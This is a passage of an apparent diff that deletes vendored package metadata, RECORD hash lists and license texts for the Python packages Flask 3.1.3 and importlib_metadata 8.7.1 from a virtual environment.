||||||
License-File: LICENSE.txt
|
|
||||||
Requires-Dist: blinker>=1.9.0
|
|
||||||
Requires-Dist: click>=8.1.3
|
|
||||||
Requires-Dist: importlib-metadata>=3.6.0; python_version < '3.10'
|
|
||||||
Requires-Dist: itsdangerous>=2.2.0
|
|
||||||
Requires-Dist: jinja2>=3.1.2
|
|
||||||
Requires-Dist: markupsafe>=2.1.1
|
|
||||||
Requires-Dist: werkzeug>=3.1.0
|
|
||||||
Requires-Dist: asgiref>=3.2 ; extra == "async"
|
|
||||||
Requires-Dist: python-dotenv ; extra == "dotenv"
|
|
||||||
Project-URL: Changes, https://flask.palletsprojects.com/page/changes/
|
|
||||||
Project-URL: Chat, https://discord.gg/pallets
|
|
||||||
Project-URL: Documentation, https://flask.palletsprojects.com/
|
|
||||||
Project-URL: Donate, https://palletsprojects.com/donate
|
|
||||||
Project-URL: Source, https://github.com/pallets/flask/
|
|
||||||
Provides-Extra: async
|
|
||||||
Provides-Extra: dotenv
|
|
||||||
|
|
||||||
<div align="center"><img src="https://raw.githubusercontent.com/pallets/flask/refs/heads/stable/docs/_static/flask-name.svg" alt="" height="150"></div>
|
|
||||||
|
|
||||||
# Flask
|
|
||||||
|
|
||||||
Flask is a lightweight [WSGI] web application framework. It is designed
|
|
||||||
to make getting started quick and easy, with the ability to scale up to
|
|
||||||
complex applications. It began as a simple wrapper around [Werkzeug]
|
|
||||||
and [Jinja], and has become one of the most popular Python web
|
|
||||||
application frameworks.
|
|
||||||
|
|
||||||
Flask offers suggestions, but doesn't enforce any dependencies or
|
|
||||||
project layout. It is up to the developer to choose the tools and
|
|
||||||
libraries they want to use. There are many extensions provided by the
|
|
||||||
community that make adding new functionality easy.
|
|
||||||
|
|
||||||
[WSGI]: https://wsgi.readthedocs.io/
|
|
||||||
[Werkzeug]: https://werkzeug.palletsprojects.com/
|
|
||||||
[Jinja]: https://jinja.palletsprojects.com/
|
|
||||||
|
|
||||||
## A Simple Example
|
|
||||||
|
|
||||||
```python
|
|
||||||
# save this as app.py
|
|
||||||
from flask import Flask
|
|
||||||
|
|
||||||
app = Flask(__name__)
|
|
||||||
|
|
||||||
@app.route("/")
|
|
||||||
def hello():
|
|
||||||
return "Hello, World!"
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
$ flask run
|
|
||||||
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
|
|
||||||
```
|
|
||||||
|
|
||||||
## Donate
|
|
||||||
|
|
||||||
The Pallets organization develops and supports Flask and the libraries
|
|
||||||
it uses. In order to grow the community of contributors and users, and
|
|
||||||
allow the maintainers to devote more time to the projects, [please
|
|
||||||
donate today].
|
|
||||||
|
|
||||||
[please donate today]: https://palletsprojects.com/donate
|
|
||||||
|
|
||||||
## Contributing
|
|
||||||
|
|
||||||
See our [detailed contributing documentation][contrib] for many ways to
|
|
||||||
contribute, including reporting issues, requesting features, asking or answering
|
|
||||||
questions, and making PRs.
|
|
||||||
|
|
||||||
[contrib]: https://palletsprojects.com/contributing/
|
|
||||||
|
|
||||||
@@ -1,58 +0,0 @@
|
|||||||
../../Scripts/flask.exe,sha256=_mabYvHWmDHkSxw_t4DPmbl08U6onGV1eQJ0z8Tx9HY,108357
|
|
||||||
flask-3.1.3.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
|
|
||||||
flask-3.1.3.dist-info/METADATA,sha256=qmdg7W9UVwRHTXBzPkpjp_FIHjdpc-3IlqE9AqciTHw,3167
|
|
||||||
flask-3.1.3.dist-info/RECORD,,
|
|
||||||
flask-3.1.3.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
||||||
flask-3.1.3.dist-info/WHEEL,sha256=G2gURzTEtmeR8nrdXUJfNiB3VYVxigPQ-bEQujpNiNs,82
|
|
||||||
flask-3.1.3.dist-info/entry_points.txt,sha256=bBP7hTOS5fz9zLtC7sPofBZAlMkEvBxu7KqS6l5lvc4,40
|
|
||||||
flask-3.1.3.dist-info/licenses/LICENSE.txt,sha256=SJqOEQhQntmKN7uYPhHg9-HTHwvY-Zp5yESOf_N9B-o,1475
|
|
||||||
flask/__init__.py,sha256=mHvJN9Swtl1RDtjCqCIYyIniK_SZ_l_hqUynOzgpJ9o,2701
|
|
||||||
flask/__main__.py,sha256=bYt9eEaoRQWdejEHFD8REx9jxVEdZptECFsV7F49Ink,30
|
|
||||||
flask/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/__main__.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/app.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/blueprints.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/cli.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/config.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/ctx.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/debughelpers.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/globals.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/helpers.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/logging.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/sessions.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/signals.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/templating.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/testing.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/typing.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/views.cpython-313.pyc,,
|
|
||||||
flask/__pycache__/wrappers.cpython-313.pyc,,
|
|
||||||
flask/app.py,sha256=k7tW8LHRSldUi6zKsFKK7Axa_WL4zu1e2wPNthIsu7o,61719
|
|
||||||
flask/blueprints.py,sha256=p5QE2lY18GItbdr_RKRpZ8Do17g0PvQGIgZkSUDhX2k,4541
|
|
||||||
flask/cli.py,sha256=Pfh72-BxlvoH0QHCDOc1HvXG7Kq5Xetf3zzNz2kNSHk,37184
|
|
||||||
flask/config.py,sha256=PiqF0DPam6HW0FH4CH1hpXTBe30NSzjPEOwrz1b6kt0,13219
|
|
||||||
flask/ctx.py,sha256=oMe0TRsScW0qdaIqavVsk8P9qiEvAY5VHn1FAgkX8nk,15521
|
|
||||||
flask/debughelpers.py,sha256=PGIDhStW_efRjpaa3zHIpo-htStJOR41Ip3OJWPYBwo,6080
|
|
||||||
flask/globals.py,sha256=XdQZmStBmPIs8t93tjx6pO7Bm3gobAaONWkFcUHaGas,1713
|
|
||||||
flask/helpers.py,sha256=rJZge7_J288J1UQv5-kNf4oEaw332PP8NTW0QRIBbXE,23517
|
|
||||||
flask/json/__init__.py,sha256=hLNR898paqoefdeAhraa5wyJy-bmRB2k2dV4EgVy2Z8,5602
|
|
||||||
flask/json/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
flask/json/__pycache__/provider.cpython-313.pyc,,
|
|
||||||
flask/json/__pycache__/tag.cpython-313.pyc,,
|
|
||||||
flask/json/provider.py,sha256=5imEzY5HjV2HoUVrQbJLqXCzMNpZXfD0Y1XqdLV2XBA,7672
|
|
||||||
flask/json/tag.py,sha256=DhaNwuIOhdt2R74oOC9Y4Z8ZprxFYiRb5dUP5byyINw,9281
|
|
||||||
flask/logging.py,sha256=8sM3WMTubi1cBb2c_lPkWpN0J8dMAqrgKRYLLi1dCVI,2377
|
|
||||||
flask/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
||||||
flask/sansio/README.md,sha256=-0X1tECnilmz1cogx-YhNw5d7guK7GKrq_DEV2OzlU0,228
|
|
||||||
flask/sansio/__pycache__/app.cpython-313.pyc,,
|
|
||||||
flask/sansio/__pycache__/blueprints.cpython-313.pyc,,
|
|
||||||
flask/sansio/__pycache__/scaffold.cpython-313.pyc,,
|
|
||||||
flask/sansio/app.py,sha256=whGURQDkN0jmhS4CHO7DQ96GGlZS0kETkKkAkoRjl4U,38106
|
|
||||||
flask/sansio/blueprints.py,sha256=Tqe-7EkZ-tbWchm8iDoCfD848f0_3nLv6NNjeIPvHwM,24637
|
|
||||||
flask/sansio/scaffold.py,sha256=wSASXYdFRWJmqcL0Xq-T7N-PDVUSiFGvjO9kPZg58bk,30371
|
|
||||||
flask/sessions.py,sha256=eywRqmytTmYnX_EC78-YBGJoTc5XD_lRphQG5LbN1d0,14969
|
|
||||||
flask/signals.py,sha256=V7lMUww7CqgJ2ThUBn1PiatZtQanOyt7OZpu2GZI-34,750
|
|
||||||
flask/templating.py,sha256=vbIkwYAxsSEfDxQID1gKRvBQQcGWEuWYCnH0XK3EqOI,7678
|
|
||||||
flask/testing.py,sha256=zzC7XxhBWOP9H697IV_4SG7Lg3Lzb5PWiyEP93_KQXE,10117
|
|
||||||
flask/typing.py,sha256=L-L5t2jKgS0aOmVhioQ_ylqcgiVFnA6yxO-RLNhq-GU,3293
|
|
||||||
flask/views.py,sha256=xzJx6oJqGElThtEghZN7ZQGMw5TDFyuRxUkecwRuAoA,6962
|
|
||||||
flask/wrappers.py,sha256=jUkv4mVek2Iq4hwxd4RvqrIMb69Bv0PElDgWLmd5ORo,9406
|
|
||||||
@@ -1,4 +0,0 @@
|
|||||||
Wheel-Version: 1.0
|
|
||||||
Generator: flit 3.12.0
|
|
||||||
Root-Is-Purelib: true
|
|
||||||
Tag: py3-none-any
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
[console_scripts]
|
|
||||||
flask=flask.cli:main
|
|
||||||
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
Copyright 2010 Pallets
|
|
||||||
|
|
||||||
Redistribution and use in source and binary forms, with or without
|
|
||||||
modification, are permitted provided that the following conditions are
|
|
||||||
met:
|
|
||||||
|
|
||||||
1. Redistributions of source code must retain the above copyright
|
|
||||||
notice, this list of conditions and the following disclaimer.
|
|
||||||
|
|
||||||
2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
notice, this list of conditions and the following disclaimer in the
|
|
||||||
documentation and/or other materials provided with the distribution.
|
|
||||||
|
|
||||||
3. Neither the name of the copyright holder nor the names of its
|
|
||||||
contributors may be used to endorse or promote products derived from
|
|
||||||
this software without specific prior written permission.
|
|
||||||
|
|
||||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
|
||||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
|
||||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
|
||||||
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
|
||||||
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
|
||||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
|
|
||||||
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
|
||||||
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
|
||||||
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
|
||||||
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
pip
|
|
||||||
@@ -1,133 +0,0 @@
|
|||||||
Metadata-Version: 2.4
|
|
||||||
Name: importlib_metadata
|
|
||||||
Version: 8.7.1
|
|
||||||
Summary: Read metadata from Python packages
|
|
||||||
Author-email: "Jason R. Coombs" <jaraco@jaraco.com>
|
|
||||||
License-Expression: Apache-2.0
|
|
||||||
Project-URL: Source, https://github.com/python/importlib_metadata
|
|
||||||
Classifier: Development Status :: 5 - Production/Stable
|
|
||||||
Classifier: Intended Audience :: Developers
|
|
||||||
Classifier: Programming Language :: Python :: 3
|
|
||||||
Classifier: Programming Language :: Python :: 3 :: Only
|
|
||||||
Requires-Python: >=3.9
|
|
||||||
Description-Content-Type: text/x-rst
|
|
||||||
License-File: LICENSE
|
|
||||||
Requires-Dist: zipp>=3.20
|
|
||||||
Provides-Extra: test
|
|
||||||
Requires-Dist: pytest!=8.1.*,>=6; extra == "test"
|
|
||||||
Requires-Dist: packaging; extra == "test"
|
|
||||||
Requires-Dist: pyfakefs; extra == "test"
|
|
||||||
Requires-Dist: flufl.flake8; extra == "test"
|
|
||||||
Requires-Dist: pytest-perf>=0.9.2; extra == "test"
|
|
||||||
Requires-Dist: jaraco.test>=5.4; extra == "test"
|
|
||||||
Provides-Extra: doc
|
|
||||||
Requires-Dist: sphinx>=3.5; extra == "doc"
|
|
||||||
Requires-Dist: jaraco.packaging>=9.3; extra == "doc"
|
|
||||||
Requires-Dist: rst.linker>=1.9; extra == "doc"
|
|
||||||
Requires-Dist: furo; extra == "doc"
|
|
||||||
Requires-Dist: sphinx-lint; extra == "doc"
|
|
||||||
Requires-Dist: jaraco.tidelift>=1.4; extra == "doc"
|
|
||||||
Provides-Extra: perf
|
|
||||||
Requires-Dist: ipython; extra == "perf"
|
|
||||||
Provides-Extra: check
|
|
||||||
Requires-Dist: pytest-checkdocs>=2.4; extra == "check"
|
|
||||||
Requires-Dist: pytest-ruff>=0.2.1; sys_platform != "cygwin" and extra == "check"
|
|
||||||
Provides-Extra: cover
|
|
||||||
Requires-Dist: pytest-cov; extra == "cover"
|
|
||||||
Provides-Extra: enabler
|
|
||||||
Requires-Dist: pytest-enabler>=3.4; extra == "enabler"
|
|
||||||
Provides-Extra: type
|
|
||||||
Requires-Dist: pytest-mypy>=1.0.1; extra == "type"
|
|
||||||
Requires-Dist: mypy<1.19; platform_python_implementation == "PyPy" and extra == "type"
|
|
||||||
Dynamic: license-file
|
|
||||||
|
|
||||||
.. image:: https://img.shields.io/pypi/v/importlib_metadata.svg
|
|
||||||
:target: https://pypi.org/project/importlib_metadata
|
|
||||||
|
|
||||||
.. image:: https://img.shields.io/pypi/pyversions/importlib_metadata.svg
|
|
||||||
|
|
||||||
.. image:: https://github.com/python/importlib_metadata/actions/workflows/main.yml/badge.svg
|
|
||||||
:target: https://github.com/python/importlib_metadata/actions?query=workflow%3A%22tests%22
|
|
||||||
:alt: tests
|
|
||||||
|
|
||||||
.. image:: https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/astral-sh/ruff/main/assets/badge/v2.json
|
|
||||||
:target: https://github.com/astral-sh/ruff
|
|
||||||
:alt: Ruff
|
|
||||||
|
|
||||||
.. image:: https://readthedocs.org/projects/importlib-metadata/badge/?version=latest
|
|
||||||
:target: https://importlib-metadata.readthedocs.io/en/latest/?badge=latest
|
|
||||||
|
|
||||||
.. image:: https://img.shields.io/badge/skeleton-2025-informational
|
|
||||||
:target: https://blog.jaraco.com/skeleton
|
|
||||||
|
|
||||||
.. image:: https://tidelift.com/badges/package/pypi/importlib-metadata
|
|
||||||
:target: https://tidelift.com/subscription/pkg/pypi-importlib-metadata?utm_source=pypi-importlib-metadata&utm_medium=readme
|
|
||||||
|
|
||||||
Library to access the metadata for a Python package.
|
|
||||||
|
|
||||||
This package supplies third-party access to the functionality of
|
|
||||||
`importlib.metadata <https://docs.python.org/3/library/importlib.metadata.html>`_
|
|
||||||
including improvements added to subsequent Python versions.
|
|
||||||
|
|
||||||
|
|
||||||
Compatibility
|
|
||||||
=============
|
|
||||||
|
|
||||||
New features are introduced in this third-party library and later merged
|
|
||||||
into CPython. The following table indicates which versions of this library
|
|
||||||
were contributed to different versions in the standard library:
|
|
||||||
|
|
||||||
.. list-table::
|
|
||||||
:header-rows: 1
|
|
||||||
|
|
||||||
* - importlib_metadata
|
|
||||||
- stdlib
|
|
||||||
* - 7.0
|
|
||||||
- 3.13
|
|
||||||
* - 6.5
|
|
||||||
- 3.12
|
|
||||||
* - 4.13
|
|
||||||
- 3.11
|
|
||||||
* - 4.6
|
|
||||||
- 3.10
|
|
||||||
* - 1.4
|
|
||||||
- 3.8
|
|
||||||
|
|
||||||
|
|
||||||
Usage
|
|
||||||
=====
|
|
||||||
|
|
||||||
See the `online documentation <https://importlib-metadata.readthedocs.io/>`_
|
|
||||||
for usage details.
|
|
||||||
|
|
||||||
`Finder authors
|
|
||||||
<https://docs.python.org/3/reference/import.html#finders-and-loaders>`_ can
|
|
||||||
also add support for custom package installers. See the above documentation
|
|
||||||
for details.
|
|
||||||
|
|
||||||
|
|
||||||
Caveats
|
|
||||||
=======
|
|
||||||
|
|
||||||
This project primarily supports third-party packages installed by PyPA
|
|
||||||
tools (or other conforming packages). It does not support:
|
|
||||||
|
|
||||||
- Packages in the stdlib.
|
|
||||||
- Packages installed without metadata.
|
|
||||||
|
|
||||||
Project details
|
|
||||||
===============
|
|
||||||
|
|
||||||
* Project home: https://github.com/python/importlib_metadata
|
|
||||||
* Report bugs at: https://github.com/python/importlib_metadata/issues
|
|
||||||
* Code hosting: https://github.com/python/importlib_metadata
|
|
||||||
* Documentation: https://importlib-metadata.readthedocs.io/
|
|
||||||
|
|
||||||
For Enterprise
|
|
||||||
==============
|
|
||||||
|
|
||||||
Available as part of the Tidelift Subscription.
|
|
||||||
|
|
||||||
This project and the maintainers of thousands of other packages are working with Tidelift to deliver one enterprise subscription that covers all of the open source you use.
|
|
||||||
|
|
||||||
`Learn more <https://tidelift.com/subscription/pkg/pypi-importlib-metadata?utm_source=pypi-importlib-metadata&utm_medium=referral&utm_campaign=github>`_.
|
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
importlib_metadata-8.7.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
|
|
||||||
importlib_metadata-8.7.1.dist-info/METADATA,sha256=o-OLnuQyYonUhkcE8w4pnudp4jCc6fSnXw3hpQrQo1Y,4670
|
|
||||||
importlib_metadata-8.7.1.dist-info/RECORD,,
|
|
||||||
importlib_metadata-8.7.1.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
|
|
||||||
importlib_metadata-8.7.1.dist-info/licenses/LICENSE,sha256=RYUC4S2Xu_ZEOGBqIARKqF6wX7CoqAe7NdvsJT_R_AQ,10278
|
|
||||||
importlib_metadata-8.7.1.dist-info/top_level.txt,sha256=CO3fD9yylANiXkrMo4qHLV_mqXL2sC5JFKgt1yWAT-A,19
|
|
||||||
importlib_metadata/__init__.py,sha256=u7Ew4-UkpzNY-ka6k-WRkDhQZS1akkLMfWs2eEnUmGo,37734
|
|
||||||
importlib_metadata/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
importlib_metadata/__pycache__/_adapters.cpython-313.pyc,,
|
|
||||||
importlib_metadata/__pycache__/_collections.cpython-313.pyc,,
|
|
||||||
importlib_metadata/__pycache__/_compat.cpython-313.pyc,,
|
|
||||||
importlib_metadata/__pycache__/_functools.cpython-313.pyc,,
|
|
||||||
importlib_metadata/__pycache__/_itertools.cpython-313.pyc,,
|
|
||||||
importlib_metadata/__pycache__/_meta.cpython-313.pyc,,
|
|
||||||
importlib_metadata/__pycache__/_text.cpython-313.pyc,,
|
|
||||||
importlib_metadata/__pycache__/_typing.cpython-313.pyc,,
|
|
||||||
importlib_metadata/__pycache__/diagnose.cpython-313.pyc,,
|
|
||||||
importlib_metadata/_adapters.py,sha256=r5i8XLrKT6xmrpoREZhZrfczOYDmrVZeJBW5u0HzIGU,3797
|
|
||||||
importlib_metadata/_collections.py,sha256=CxAhzlF3g1rwu_fMiB53JtRQiUFh0RgiMpoOvmK_ocg,760
|
|
||||||
importlib_metadata/_compat.py,sha256=VC5ZDLlT-BcshauCShdFJvMNLntJJfZzNK1meGa-enw,1313
|
|
||||||
importlib_metadata/_functools.py,sha256=0pA2OoiVK6wnsGq8HvVIzgdkvLiZ0nfnfw7IsndjoHk,3510
|
|
||||||
importlib_metadata/_itertools.py,sha256=nMvp9SfHAQ_JYwK4L2i64lr3GRXGlYlikGTVzWbys_E,5351
|
|
||||||
importlib_metadata/_meta.py,sha256=EtHyiJ5kGzWFDfKyQ2XQp6Vu113CeadKW1Vf6aGc1B4,1765
|
|
||||||
importlib_metadata/_text.py,sha256=HCsFksZpJLeTP3NEk_ngrAeXVRRtTrtyh9eOABoRP4A,2166
|
|
||||||
importlib_metadata/_typing.py,sha256=EQKhhsEgz_Sa-FnePI-faC72rNOOQwopjA1i5pG8FDU,367
|
|
||||||
importlib_metadata/compat/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
||||||
importlib_metadata/compat/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
importlib_metadata/compat/__pycache__/py311.cpython-313.pyc,,
|
|
||||||
importlib_metadata/compat/__pycache__/py39.cpython-313.pyc,,
|
|
||||||
importlib_metadata/compat/py311.py,sha256=uqm-K-uohyj1042TH4a9Er_I5o7667DvulcD-gC_fSA,608
|
|
||||||
importlib_metadata/compat/py39.py,sha256=J3W7PUVRPNYMmcvT12RF8ndBU9e8_T0Ac4U87Bsrq70,1187
|
|
||||||
importlib_metadata/diagnose.py,sha256=nkSRMiowlmkhLYhKhvCg9glmt_11Cox-EmLzEbqYTa8,379
|
|
||||||
importlib_metadata/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
Wheel-Version: 1.0
|
|
||||||
Generator: setuptools (80.9.0)
|
|
||||||
Root-Is-Purelib: true
|
|
||||||
Tag: py3-none-any
|
|
||||||
|
|
||||||
@@ -1,73 +0,0 @@
|
|||||||
Apache License
|
|
||||||
Version 2.0, January 2004
|
|
||||||
http://www.apache.org/licenses/
|
|
||||||
|
|
||||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
||||||
|
|
||||||
1. Definitions.
|
|
||||||
|
|
||||||
"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
|
|
||||||
|
|
||||||
"Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License.
|
|
||||||
|
|
||||||
"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
|
|
||||||
|
|
||||||
"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.
|
|
||||||
|
|
||||||
"Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.
|
|
||||||
|
|
||||||
"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types.
|
|
||||||
|
|
||||||
"Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below).
|
|
||||||
|
|
||||||
"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof.
|
|
||||||
|
|
||||||
"Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution."
|
|
||||||
|
|
||||||
"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
|
|
||||||
|
|
||||||
2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form.
|
|
||||||
|
|
||||||
3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
|
|
||||||
|
|
||||||
4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
|
|
||||||
|
|
||||||
(a) You must give any other recipients of the Work or Derivative Works a copy of this License; and
|
|
||||||
|
|
||||||
(b) You must cause any modified files to carry prominent notices stating that You changed the files; and
|
|
||||||
|
|
||||||
(c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
|
|
||||||
|
|
||||||
(d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License.
|
|
||||||
|
|
||||||
You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
|
|
||||||
|
|
||||||
5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
|
|
||||||
|
|
||||||
6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
|
|
||||||
|
|
||||||
7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
|
|
||||||
|
|
||||||
8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
|
|
||||||
|
|
||||||
9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
|
|
||||||
|
|
||||||
END OF TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
APPENDIX: How to apply the Apache License to your work.
|
|
||||||
|
|
||||||
To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
|
|
||||||
|
|
||||||
Copyright 2025 [name of copyright owner]
|
|
||||||
|
|
||||||
Licensed under the Apache License, Version 2.0 (the "License");
|
|
||||||
you may not use this file except in compliance with the License.
|
|
||||||
You may obtain a copy of the License at
|
|
||||||
|
|
||||||
http://www.apache.org/licenses/LICENSE-2.0
|
|
||||||
|
|
||||||
Unless required by applicable law or agreed to in writing, software
|
|
||||||
distributed under the License is distributed on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
||||||
See the License for the specific language governing permissions and
|
|
||||||
limitations under the License.
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
importlib_metadata
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
pip
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
Copyright 2011 Pallets
|
|
||||||
|
|
||||||
Redistribution and use in source and binary forms, with or without
|
|
||||||
modification, are permitted provided that the following conditions are
|
|
||||||
met:
|
|
||||||
|
